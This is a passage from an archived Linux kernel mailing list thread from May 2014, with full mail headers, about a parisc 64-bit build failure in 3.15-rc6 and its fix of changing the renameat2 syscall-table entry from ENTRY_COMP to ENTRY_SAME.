prevents the syslog to grow too fast. For example, when the debian acl2 package
was built on our debian buildd servers, this package produced lots of gigabytes
in syslog in very short time and thus filled our harddisks, which then turned
the server nearly completely unaccessible and unresponsive.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: ratelimit userspace segfault printing

John David Anglin (1):
      parisc: Improve LWS-CAS performance

 arch/parisc/Kconfig          |  1 +
 arch/parisc/kernel/syscall.S | 12 +++++++---
 arch/parisc/kernel/traps.c   | 54 ++++++++++++++++++++------------------------
 arch/parisc/mm/fault.c       | 44 ++++++++++++++++++++++++------------
 4 files changed, 65 insertions(+), 46 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.15-rc6
Date: Thu, 22 May 2014 10:20:32 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20140522172032.GA20975@roeck-us.net>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1400779257 1613 80.91.229.3 (22 May 2014 17:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 May 2014 17:20:57 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 22 19:20:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WnWfg-0004w4-7v
	for glpp-linux-parisc@plane.gmane.org; Thu, 22 May 2014 19:20:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750923AbaEVRUr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2014 13:20:47 -0400
Original-Received: from mail-pa0-f51.google.com ([209.85.220.51]:57137 "EHLO
	mail-pa0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750819AbaEVRUr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2014 13:20:47 -0400
Original-Received: by mail-pa0-f51.google.com with SMTP id kq14so2777582pab.38
        for <multiple recipients>; Thu, 22 May 2014 10:20:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=5aWi64JqkpGFssEpiPu+smZ2adwhygLUjtuoPv/yXHk=;
        b=mM/1QlX02LlxwalApv4miI1usjqSz1ZpalW/xKix4XShSU73bNMyhD5PH7/f07U08G
         7Cqeadhi8U49rNp+DNAOvv/+gWn1DyX7ozqKiAZ80tOKajHdBj+4X4zHFTu86vyAEoUt
         9QYE25mJA1sLfj6gnPM6VTSvZPaP47IQw9E4sAhNz9SrXTxV+llppiFAhnqbevEuuqpx
         G78Vo30vNgXP3cFMYr9jBc8RZTbNgFnDA1nT5MdZkH4ImissH9kfDPQiSNqHw7OFrq3/
         UxmCSdSsz8Z0fEXPvT+rrZpXbAUJzmFaTAt7uV4ik76VpZJkHVOqMJi+aHUnBYsrFITI
         wcqg==
X-Received: by 10.68.254.70 with SMTP id ag6mr69030364pbd.33.1400779246826;
        Thu, 22 May 2014 10:20:46 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id uy2sm596083pbc.4.2014.05.22.10.20.45
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Thu, 22 May 2014 10:20:46 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5804 gmane.linux.kernel:1709469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5804>

On Thu, May 22, 2014 at 07:47:35AM +0900, Linus Torvalds wrote:
> Due to travels and related lack of internet access, the rc releases
> haven't been following the normal Sunday release cycle, and since I
> caught up with what happened while I was off-line, rather than wait
> until next Sunday to reset to the normal cycle, I'm just releasing rc6
> now mid-week from Tokyo.
> 
> With rc5 being a couple of days early, and rc6 being several days
> late, we had almost two weeks in between them. The size of the result
> is not twice as large, though, hopefully partially because it's
> getting late in the rc series and things are supposed to be calming
> down, but presumably also because some submaintainers just didn't send
> their pull requests because they knew I was off-line. Whatever the
> reason, things don't look bad.
> 
> The patch distribution looks pretty normal too. Mostly drivers (acpi,
> sound, media, i915, clk, pci..) with the bulk of the rest being
> various arch updates (notably MIPS, but arm and parisc too). And a
> smattering of other random stuff in filesystems and core kernel code.
> 
Unfortunately it appears that the parisc changes cause build failures
with parisc 64 bit builds.

Building parisc:a500_defconfig ... failed
Building parisc:generic-64bit_defconfig ... failed

Error log:
arch/parisc/kernel/built-in.o: In function `sys_call_table':
(.rodata+0xad0): undefined reference to `compat_sys_renameat2'
make: *** [vmlinux] Error 1

parisc 32 bit builds (defconfig and generic-32bit_defconfig) are fine.

Guenter
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.15-rc6
Date: Thu, 22 May 2014 17:43:34 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>
	<20140522172032.GA20975@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1400805825 28254 80.91.229.3 (23 May 2014 00:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 00:43:45 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Guenter Roeck <linux@roeck-us.net>,
	Miklos Szeredi <miklos@szeredi.hu>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 23 02:43:39 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WndaE-0004L0-0Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 May 2014 02:43:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751048AbaEWAnh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2014 20:43:37 -0400
Original-Received: from mail-ve0-f172.google.com ([209.85.128.172]:36955 "EHLO
	mail-ve0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750945AbaEWAng (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2014 20:43:36 -0400
Original-Received: by mail-ve0-f172.google.com with SMTP id oz11so5449927veb.3
        for <multiple recipients>; Thu, 22 May 2014 17:43:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=MYZG6etCjnik9QLDIWCeNDGIKo5qG180uI9/pL8y8Os=;
        b=n05cI6bB1chkojYWwsSUK3TKZQwat77ZW998YV04Sdhcp6MHa9GpIcvzx8vGLCXRnX
         Btm9GAiKy+CItfLBlu+nVN0AUVPJnawEKUIMC6MnPkdnTLJJJa98y8z7O0F1LMqDOoBU
         q3IzB/ExgglgbsUBtI/1Hr1AuNbdPy7+UAcFQnrO0wEiyqpv9TUaKZYt7e2mwG8mVpjc
         MY8fdxszmrgyOdnsY2BOJ9AquEA8AKGVtXH7WLofPEtpNy69A/2gkytZ96MFXxR03Rlt
         MesqW8XFz+JulI0PNJd5C0wBzRXvVBLD95qVfwiknjrt0Pn5ZoKR94cdSQVJm4ofjzI2
         HqpA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=MYZG6etCjnik9QLDIWCeNDGIKo5qG180uI9/pL8y8Os=;
        b=foD72D3BOuBgIO4e7MLQGe5ndtVLW6H8hryQXv4xVacHGIlkN9+9fkfREmns4ZkHdf
         ucvV6qR9iiwTeHFXuZqdOQhGfAkqo9OubUBbZuCT4GjHKp7OUS6jpyqEaDIVQP8zE4gf
         /Stk/fXpM+pgKbtWh8+gIbkI4mcg7Za16tYo4=
X-Received: by 10.58.126.135 with SMTP id my7mr1017166veb.27.1400805815030;
 Thu, 22 May 2014 17:43:35 -0700 (PDT)
Original-Received: by 10.220.2.205 with HTTP; Thu, 22 May 2014 17:43:34 -0700 (PDT)
In-Reply-To: <20140522172032.GA20975@roeck-us.net>
X-Google-Sender-Auth: UKktLcbXdxeg8gOc4fgpVbRMMAw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5805 gmane.linux.kernel:1709723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5805>

Miklos,

this is from your commit 18e480aa07f78 ("parisc: add renameat2
syscall") which was acked by Helge Deller:

On Thu, May 22, 2014 at 10:20 AM, Guenter Roeck <linux@roeck-us.net> wrote:
>
> Unfortunately it appears that the parisc changes cause build failures
> with parisc 64 bit builds.
>
> Building parisc:a500_defconfig ... failed
> Building parisc:generic-64bit_defconfig ... failed
>
> Error log:
> arch/parisc/kernel/built-in.o: In function `sys_call_table':
> (.rodata+0xad0): undefined reference to `compat_sys_renameat2'
> make: *** [vmlinux] Error 1

only s390 seems to need a compat wrapper, and s390 is kind of odd in
many respects, so I suspect renameat2 should just use ENTRY_SAME() on
parisc, but without any way to *test* it I won't apply the patch.

Guenter, I assume that changing the

        ENTRY_COMP(renameat2)

line in arch/parisc/kernel/syscall_table.S to use ENTRY_SAME() at
least fixes the compile error?

            Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.15-rc6
Date: Thu, 22 May 2014 18:07:19 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <537E9F47.5020809@roeck-us.net>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>	<20140522172032.GA20975@roeck-us.net> <CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400807275 11111 80.91.229.3 (23 May 2014 01:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 01:07:55 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Miklos Szeredi <miklos@szeredi.hu>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 23 03:07:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wndxa-0007gd-Ho
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 May 2014 03:07:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750922AbaEWBHd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2014 21:07:33 -0400
Original-Received: from mail.active-venture.com ([67.228.131.205]:57981 "EHLO
	mail.active-venture.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750861AbaEWBHc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2014 21:07:32 -0400
Original-Received: (qmail 80179 invoked by uid 399); 23 May 2014 01:07:31 -0000
Original-Received: from unknown (HELO server.roeck-us.net) (linux@roeck-us.net@108.223.40.66)
  by mail.active-venture.com with ESMTPAM; 23 May 2014 01:07:31 -0000
X-Originating-IP: 108.223.40.66
X-Sender: linux@roeck-us.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5806 gmane.linux.kernel:1709732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5806>

On 05/22/2014 05:43 PM, Linus Torvalds wrote:
> Miklos,
>
> this is from your commit 18e480aa07f78 ("parisc: add renameat2
> syscall") which was acked by Helge Deller:
>
> On Thu, May 22, 2014 at 10:20 AM, Guenter Roeck <linux@roeck-us.net> wrote:
>>
>> Unfortunately it appears that the parisc changes cause build failures
>> with parisc 64 bit builds.
>>
>> Building parisc:a500_defconfig ... failed
>> Building parisc:generic-64bit_defconfig ... failed
>>
>> Error log:
>> arch/parisc/kernel/built-in.o: In function `sys_call_table':
>> (.rodata+0xad0): undefined reference to `compat_sys_renameat2'
>> make: *** [vmlinux] Error 1
>
> only s390 seems to need a compat wrapper, and s390 is kind of odd in
> many respects, so I suspect renameat2 should just use ENTRY_SAME() on
> parisc, but without any way to *test* it I won't apply the patch.
>
> Guenter, I assume that changing the
>
>          ENTRY_COMP(renameat2)
>
> line in arch/parisc/kernel/syscall_table.S to use ENTRY_SAME() at
> least fixes the compile error?
>

Yes, it fixes the build error for parisc64, and parisc (32 bit) still builds.

Guenter

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.15-rc6
Date: Thu, 22 May 2014 18:27:20 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <CA+55aFzk3Xw8VsYMmiGvXxzrkh7zenFUrpyobaK_q+17PSh=ww@mail.gmail.com>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>
	<20140522172032.GA20975@roeck-us.net>
	<CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>
	<537E9F47.5020809@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1400808451 22558 80.91.229.3 (23 May 2014 01:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 01:27:31 +0000 (UTC)
Cc: Miklos Szeredi <miklos@szeredi.hu>, Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 23 03:27:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WneGZ-0004Fr-Cj
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 May 2014 03:27:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750959AbaEWB1W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2014 21:27:22 -0400
Original-Received: from mail-ve0-f172.google.com ([209.85.128.172]:63777 "EHLO
	mail-ve0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750790AbaEWB1V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2014 21:27:21 -0400
Original-Received: by mail-ve0-f172.google.com with SMTP id oz11so5459955veb.17
        for <multiple recipients>; Thu, 22 May 2014 18:27:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=jxdSo2K53MnMUFS0wjdma1/YNbgRfSeIIx1IPftrXPw=;
        b=QmbOABw+hxlceT+eJqZ4PFRWh2GSoIeEP7RcbgE7Djg9t6/HxsmBOpkQNOu7ZRaTM2
         46OFFTeJSK0X3GJAsfBd/xUeBXPTAOR138e/MN+Ia0sqFL9YZUchC2bYjNXDhtEY8187
         3TGSg54ttrujdkuMu7in6aR0LeQThU8E4NrfsDFb2aQFmQg/ZxFkj88SIwrBcUN/sw0r
         MfRAKylAbgFv69AQLHfyKiiPnq7m9fqX4nODjLAyq1IKpVJv1pEjq9jeXIS9wsST1sZr
         N34MyzJmbIqM5XDJpKMEXtJ9VCHOHyexjCCoaxd33jb8+OSIpx3HVrkgWnyKVm/59efG
         1LhQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=jxdSo2K53MnMUFS0wjdma1/YNbgRfSeIIx1IPftrXPw=;
        b=Cm/ldrotcqQ8f+e5PLuxMFxNx+OYSBP3MmPuO4evk24qtUB+0E23HKXqDo4klu1Gdw
         HDwWLGfOJcHvHoNyj+3N+bjvgH48pC2X5WsxazRpsz4IpbpvLMpM5h7HJRrDxDu4eWNV
         MEYyqJZw2RCkOoTcWYA+NmwdFWWa4sOUccSMs=
X-Received: by 10.221.58.144 with SMTP id wk16mr1179477vcb.23.1400808440471;
 Thu, 22 May 2014 18:27:20 -0700 (PDT)
Original-Received: by 10.220.2.205 with HTTP; Thu, 22 May 2014 18:27:20 -0700 (PDT)
In-Reply-To: <537E9F47.5020809@roeck-us.net>
X-Google-Sender-Auth: o6egZxthyennXVBIvgsDzi5ROms
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5807 gmane.linux.kernel:1709737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5807>

On Thu, May 22, 2014 at 6:07 PM, Guenter Roeck <linux@roeck-us.net> wrote:
> On 05/22/2014 05:43 PM, Linus Torvalds wrote:
>>
>>
>> only s390 seems to need a compat wrapper, and s390 is kind of odd in
>> many respects, so I suspect renameat2 should just use ENTRY_SAME() on
>> parisc, but without any way to *test* it I won't apply the patch.
>>
>> Guenter, I assume that changing the
>>
>>          ENTRY_COMP(renameat2)
>>
>> line in arch/parisc/kernel/syscall_table.S to use ENTRY_SAME() at
>> least fixes the compile error?
>
> Yes, it fixes the build error for parisc64, and parisc (32 bit) still
> builds.

Ok. I'd like to get some kind of confirmation that it is expected to
work too. Miklos/Helge?

               Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Linux 3.15-rc6
Date: Fri, 23 May 2014 11:12:44 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <CAJfpeguNGFDw_7C1JgZv3Wjgd0ku9QhEkUy_+gprOS58sBXaSQ@mail.gmail.com>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>
	<20140522172032.GA20975@roeck-us.net>
	<CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>
	<537E9F47.5020809@roeck-us.net>
	<CA+55aFzk3Xw8VsYMmiGvXxzrkh7zenFUrpyobaK_q+17PSh=ww@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1400836390 16414 80.91.229.3 (23 May 2014 09:13:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 May 2014 09:13:10 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>, Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 23 11:13:03 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WnlXA-0002oj-8i
	for glk-linux-kernel-3@plane.gmane.org; Fri, 23 May 2014 11:13:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753127AbaEWJMt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 23 May 2014 05:12:49 -0400
Original-Received: from mail-qg0-f51.google.com ([209.85.192.51]:37471 "EHLO
	mail-qg0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751868AbaEWJMp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 23 May 2014 05:12:45 -0400
Original-Received: by mail-qg0-f51.google.com with SMTP id q107so7594535qgd.24
        for <linux-kernel@vger.kernel.org>; Fri, 23 May 2014 02:12:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=szeredi.hu; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=xloHkT3ww3H9ygQrVJV8bBY1sQJsiSx2PJN5rXlifvA=;
        b=YhLoqzO8cYgpQz7wzn+o8G78dH2eg4pbsIlw3XJpKx6yx08U+q+6wGsyKAMr7PUd6i
         LXEz/ukB0TbJi8UQIyfAMdUwae2iix6vVxWkT2t5s0u/046Z+0LX2LreeGuHVabVHsy5
         dU6IONx062LdBXFiGif4pUBX1s7yy5LmJi4FE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=xloHkT3ww3H9ygQrVJV8bBY1sQJsiSx2PJN5rXlifvA=;
        b=Dr5ofywSI6c0SWb1l0HDewSOeGgeCj+LwPUu+7qaj3y+T/isKs+ydj9Zlkey+Ca/8O
         cZ90xSRVqafKSUroaX5u+aXAH7DrDgoiSUKnmKb8OFYg/LXNB4edW0fkYK1GRUSl10I/
         fvpdsBvkmDQN6/JIoh8sfgovtgET607SFfs1fU8OQ8WSGFL66pBN+N7m0BUOpDsXGHlb
         RwLQyBl4jSM1Q8WdP+lmS4NvdeWuVYnvpz6GU2uzJvln/LJvF0S/+0T42ub6Dt+06wb7
         FVKcyir7GHU0RyFdrHs9UgSDrFahB9RlTLj3dqxLdKTdoh916M20UhIHqZNiswKrPjqR
         v9Qg==
X-Gm-Message-State: ALoCoQlotZcaiT7pE681WQ0rqqj3rCm3pbqjxQsBHpa2jil+qKZbSStEFQJVXoxVu95CZxXw0gwN
X-Received: by 10.224.92.197 with SMTP id s5mr4335112qam.93.1400836364686;
 Fri, 23 May 2014 02:12:44 -0700 (PDT)
Original-Received: by 10.96.214.9 with HTTP; Fri, 23 May 2014 02:12:44 -0700 (PDT)
X-Originating-IP: [46.139.80.5]
In-Reply-To: <CA+55aFzk3Xw8VsYMmiGvXxzrkh7zenFUrpyobaK_q+17PSh=ww@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1709924 gmane.linux.ports.parisc:5808
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1709924>

On Fri, May 23, 2014 at 3:27 AM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> On Thu, May 22, 2014 at 6:07 PM, Guenter Roeck <linux@roeck-us.net> wrote:
>> On 05/22/2014 05:43 PM, Linus Torvalds wrote:
>>>
>>>
>>> only s390 seems to need a compat wrapper, and s390 is kind of odd in
>>> many respects, so I suspect renameat2 should just use ENTRY_SAME() on
>>> parisc, but without any way to *test* it I won't apply the patch.
>>>
>>> Guenter, I assume that changing the
>>>
>>>          ENTRY_COMP(renameat2)
>>>
>>> line in arch/parisc/kernel/syscall_table.S to use ENTRY_SAME() at
>>> least fixes the compile error?
>>
>> Yes, it fixes the build error for parisc64, and parisc (32 bit) still
>> builds.
>
> Ok. I'd like to get some kind of confirmation that it is expected to
> work too. Miklos/Helge?

Oops, yes, it should be ENTRY_SAME().

Thanks,
Miklos

From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.15-rc6
Date: Fri, 23 May 2014 11:16:56 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <537F1208.8090800@gmx.de>
References: <CA+55aFzwqPh+WUAxi2CY8D6k+LkDbUb__G98qVFrE-DHNMSPUw@mail.gmail.com>	<20140522172032.GA20975@roeck-us.net>	<CA+55aFw_kOE1Y4qkLW4rWfB_NaYYDwFeU=t5swsJCTMq-3J6nA@mail.gmail.com>	<537E9F47.5020809@roeck-us.net>	<CA+55aFzk3Xw8VsYMmiGvXxzrkh7zenFUrpyobaK_q+17PSh=ww@mail.gmail.com> <CAJfpeguNGFDw_7C1JgZv3Wjgd0ku9QhEkUy_+gprOS58sBXaSQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
